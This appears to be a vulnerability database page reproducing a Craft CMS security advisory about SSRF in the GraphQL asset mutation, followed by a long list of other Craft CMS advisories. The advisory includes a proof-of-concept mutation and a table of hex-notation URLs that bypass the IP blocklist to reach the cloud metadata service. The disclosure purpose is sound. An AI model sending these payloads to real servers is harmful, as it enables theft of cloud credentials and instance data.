Iniciar sesión
Deutsch English Español Polski
Media

Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via Alternative IP Notation

  • Publicada: 09.02.2026
  • Actualizado: 11.10.2026 10:22

I observed a recent commit intended to mitigate Server-Side Request Forgery (SSRF) vulnerabilities. While the implemented defense mechanisms are an improvement, I have identified two methods to bypass these protections. This report details the first bypass method involving alternative IP notation, while the second method will be submitted in a separate advisory.

Summary

The saveAsset GraphQL mutation uses filter_var(..., FILTER_VALIDATE_IP) to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services.

Proof of Concept

  1. Send the following GraphQL mutation:
graphql
mutation {
    save_images_Asset(_file: { 
        url: "http://169.254.0xa9fe/latest/meta-data/"
        filename: "metadata.txt"
    }) {
        id
    }
}
  1. The IP validation passes (hex notation not recognized as IP)
  2. Guzzle resolves 169.254.0xa9fe to 169.254.169.254
  3. Cloud metadata is fetched and saved

Alternative Payloads

Payload Notation Resolves To
http://169.254.0xa9fe/ Mixed (decimal + hex) 169.254.169.254
http://0xa9.0xfe.0xa9.0xfe/ Full hex dotted 169.254.169.254
http://0xa9fea9fe/ Single hex integer 169.254.169.254

Technical Details

File: src/gql/resolvers/mutations/Asset.php Root Cause: filter_var($hostname, FILTER_VALIDATE_IP) only recognizes standard dotted-decimal notation. Hex representations bypass this check, but Guzzle still resolves them.

php
// Line 287 - Fails to catch hex notation
filter_var($hostname, FILTER_VALIDATE_IP)

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de Composer craftcms/cms >= 5.0.0-RC1, < 5.8.22, >= 4.0.0-RC1, < 4.16.18 5.8.22, 4.16.18

Referencias

Puntuación CVSS -
Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Debilidad (CWE)
CWE-918
Plataforma
Composer
Paquete
craftcms/cms
Publicada
09.02.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-m5r2-8p9x-hp5m - CC BY 4.0

Historial de vulnerabilidades: craftcms/cms

Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (127) en el archivo
Entradas en total
127
Primera → última
07.2021 08.2026
Sin corrección
6
Explotada en ataques
4

Distribución por gravedad

  • Crítica 9
  • Alta 41
  • Media 65
  • Baja 12

Divulgaciones por año

Gravedad:
  1. Craft CMS: Passkey login accepts replayed WebAuthn assertions
    Crítica CVE-2026-72780 >= 5.0.0-RC1, < 5.10.5 5.10.5
  2. Craft CMS: Arbitrary user password reset leading to administrator account takeover
    Alta CVE-2026-72786 >= 5.0.0-RC1, < 5.10.8 5.10.8
  3. Craft CMS: Authenticated RCE through Twig sandbox escape
    Alta CVE-2026-72781 >= 5.0.0-RC1, < 5.10.7, >= 4.0.0-RC1, < 4.18.3 5.10.7, 4.18.3
  4. Craft CMS: Authenticated RCE via `condition.config` JSON cleanse bypass
    Alta CVE-2026-72778 >= 5.0.0-RC1, < 5.10.6, >= 4.0.0-RC1, < 4.18.2 5.10.6, 4.18.2
  5. Craft CMS: RCE via missing cleanseConfig in FieldsController::actionRenderCardPreview
    Alta CVE-2026-56382 >= 5.5.0, < 5.9.14 5.9.14
  6. Craft CMS: Potential authenticated Remote Code Execution via referrer redirect
    Alta CVE-2026-55794 >= 5.9.0, < 5.10.0 5.10.0
  7. Craft CMS: DOM XSS via GitHub issue title in CraftSupport widget
    Alta CVE-2026-55790 >= 5.0.0-RC1, < 5.9.23, >= 4.0.0-RC1, < 4.17.16 5.9.23, 4.17.16
  8. Craft CMS Vulnerable to Unauthorized Deletion of Destination Folders During Forced Moves
    Alta CVE-2026-50282 >= 5.0.0-RC1, < 5.9.21, >= 4.0.0-RC1, < 4.17.14 5.9.21, 4.17.14
  9. Craft CMS's mass assignment via id in newAttributes during bulk duplicate overwrites existing elements
    Alta CVE-2026-50281 >= 5.7.0, < 5.9.21 5.9.21
  10. Craft CMS: Missing peer-permission check in `AssetsController::actionDeleteFolder` allows deletion of other users' assets
    Alta CVE-2026-50284 >= 5.0.0-RC1, < 5.9.22, >= 4.0.0-RC1, < 4.17.15 5.9.22, 4.17.15
  11. Craft CMS: Authorship spoofing in `entries/save-entry` via pre-check/post-mutation authorization gap
    Alta CVE-2026-50279 >= 5.0.0-RC1, < 5.9.21 5.9.21
  12. Craft CMS: Blind SSRF and Arbitrary JavaScript Injection via Host Header Poisoning in actionResourceJs
    Crítica CVE-2026-55791 >= 5.0.0-RC1, < 5.10, >= 4.0.0-RC1, < 4.18 5.10, 4.18
  13. Craft CMS's Missing Volume Permission Check in AssetsController::actionShowInFolder Allows Information Disclosure
    Alta CVE-2026-44012 >= 5.0.0-RC1, < 5.9.18 5.9.18
  14. Craft CMS has Potential Authenticated Remote Code Execution via Malicious Attached Behavior
    Alta CVE-2026-44011 >= 4.0.0, < 4.17.12, >= 5.0.0, < 5.9.18 4.17.12, 5.9.18
  15. Craft CMS's Missing Authorization in GraphQL Address Resolver Allows Cross-Scope PII Disclosure
    Alta CVE-2026-44010 >= 5.0.0, < 5.9.18, >= 4.0.0, < 4.17.12 5.9.18, 4.17.12
  16. Craft CMS is Vulnerable to Authenticated Remote Code Execution via Malicious Attached Behavior
    Alta CVE-2026-33157 >= 5.6.0, < 5.9.13 5.9.13
  17. Craft CMS Vulnerable to Privilege Escalation/Bypass through UsersController->actionImpersonateWithToken()
    Alta CVE-2026-32267 >= 4.0.0-RC1, < 4.17.6, >= 5.0.0-RC1, < 5.9.12 4.17.6, 5.9.12
  18. Craft CMS vulnerable to behavior injection RCE ElementIndexesController and FieldsController
    Alta CVE-2026-32264 >= 4.0.0-RC1, < 4.17.5, >= 5.0.0-RC1, < 5.9.11 4.17.5, 5.9.11
  19. Craft CMS vulnerable to behavior injection RCE via EntryTypesController
    Alta CVE-2026-32263 >= 5.6.0, < 5.9.11 5.9.11
  20. CraftCMS has an RCE vulnerability via relational conditionals in the control panel
    Alta CVE-2026-31857 >= 5.0.0-RC1, < 5.9.9, >= 4.0.0-beta.1, < 4.17.4 5.9.9, 4.17.4
  21. CraftCMS's `ElementSearchController` Affected by Blind SQL Injection
    Alta CVE-2026-31858 >= 5.0.0-RC1, < 5.9.9 5.9.9
  22. Craft CMS has unauthenticated activation email trigger with potential user enumeration
    Alta CVE-2026-29069 >= 5.0.0-RC1, < 5.9.0-beta.2, >= 4.0.0-RC1, < 4.17.0-beta.2 5.9.0-beta.2, 4.17.0-beta.2
  23. Craft CMS Vulnerable to Authenticated RCE via "craft.app.fs.write()" in Twig Templates
    Crítica CVE-2026-28697 >= 5.0.0-RC1, < 5.9.0-beta.1, >= 4.0.0-RC1, < 4.17.0-beta.1 5.9.0-beta.1, 4.17.0-beta.1
  24. Craft CMS has IDOR via GraphQL @parseRefs
    Alta CVE-2026-28696 >= 4.0.0-RC1, < 4.17.0-beta.1, >= 5.0.0-RC1, < 5.9.0-beta.1 4.17.0-beta.1, 5.9.0-beta.1
  25. Craft CMS has Cloud Metadata SSRF Protection Bypass via DNS Rebinding
    Alta CVE-2026-27127 >= 5.0.0-RC1, < 5.8.23, >= 3.5.0, < 4.16.19 5.8.23, 4.16.19
  26. Craft CMS Vulnerable to potential authenticated Remote Code Execution via malicious attached Behavior
    Alta CVE-2026-25498 >= 5.0.0-RC1, < 5.8.22, >= 4.0.0-RC1, < 4.16.18 5.8.22, 4.16.18
  27. Craft CMS: GraphQL Asset Mutation Privilege Escalation
    Alta CVE-2026-25497 >= 5.0.0-RC1, < 5.9.0-beta.1, >= 4.0.0-RC1, < 4.17.0-beta.1 5.9.0-beta.1, 4.17.0-beta.1
  28. Craft CMS Vulnerable to SQL Injection in Element Indexes via `criteria[orderBy]`
    Alta CVE-2026-25495 >= 5.0.0-RC1, < 5.8.22, >= 4.0.0-RC1, < 4.16.18 5.8.22, 4.16.18
  29. Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via Alternative IP Notation esta entrada
    Media CVE-2026-25494 >= 5.0.0-RC1, < 5.8.22, >= 4.0.0-RC1, < 4.16.18 5.8.22, 4.16.18
  30. Craft CMS vulnerable to potential authenticated Remote Code Execution via malicious attached Behavior
    Alta CVE-2025-68455 >= 5.0.0-RC1, < 5.8.21, >= 4.0.0-RC1, < 4.16.17 5.8.21, 4.16.17
  31. Unauthenticated Craft CMS users can trigger a database backup
    Alta CVE-2025-68456 >= 5.0.0-RC1, < 5.8.21, >= 3.0.0, < 4.16.17 5.8.21, 4.16.17
  32. Craft CMS Contains a Potential Remote Code Execution Vulnerability via Twig SSTI
    Alta CVE-2025-46731 >= 4.0.0-RC1, < 4.14.13, >= 5.0.0-RC1, < 5.6.15 4.14.13, 5.6.15
  33. Craft CMS Allows Remote Code Execution
    Crítica · 10.0 Explotada en ataques CVE-2025-32432 >= 3.0.0-RC1, < 3.9.15, >= 4.0.0-RC1, < 4.14.15, >= 5.0.0-RC1, < 5.6.17 3.9.15, 4.14.15, 5.6.17
  34. Craft CMS has a potential RCE with a compromised security key
    Alta · 8.0 Explotada en ataques CVE-2025-23209 >= 5.0.0-RC1, < 5.5.8, >= 4.0.0-RC1, < 4.13.8 5.5.8, 4.13.8
  35. Craft CMS has potential RCE when PHP `register_argc_argv` config setting is enabled
    Crítica · 9.8 Explotada en ataques CVE-2024-56145 >= 5.0.0-RC1, < 5.5.2, >= 4.0.0-RC1, < 4.13.2, >= 3.0.0, < 3.9.14 5.5.2, 4.13.2, 3.9.14
  36. Craft CMS vulnerable to Potential Remote Code Execution via missing path normalization & Twig SSTI
    Alta · 7.2 CVE-2024-52293 >= 4.0.0-RC1, < 4.12.2, >= 5.0.0-RC1, < 5.4.3 4.12.2, 5.4.3
  37. Craft CMS Arbitrary System File Read
    Alta · 7.7 CVE-2024-52292 >= 5.0.0-alpha.1, < 5.4.9, >= 3.5.13, < 4.12.8 5.4.9, 4.12.8
  38. Local File System Validation Bypass Leading to File Overwrite, Sensitive File Access, and Potential Code Execution
    Alta · 8.4 CVE-2024-52291 >= 5.0.0-RC1, < 5.4.6, >= 4.0.0-RC1, < 4.12.5 5.4.6, 4.12.5
  39. Craft CMS SQL injection vulnerability via the GraphQL API endpoint
    Crítica · 9.8 CVE-2024-37843 <= 3.7.31 sin corrección
  40. Craft CMS Feed-Me
    Alta · 7.5 CVE-2023-36260 < 4.6.2 4.6.2
Mostrar más (11) Mostrando 40 de 51

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Política de privacidad

Suscripción gratuita. Date de baja con un clic en cualquier correo.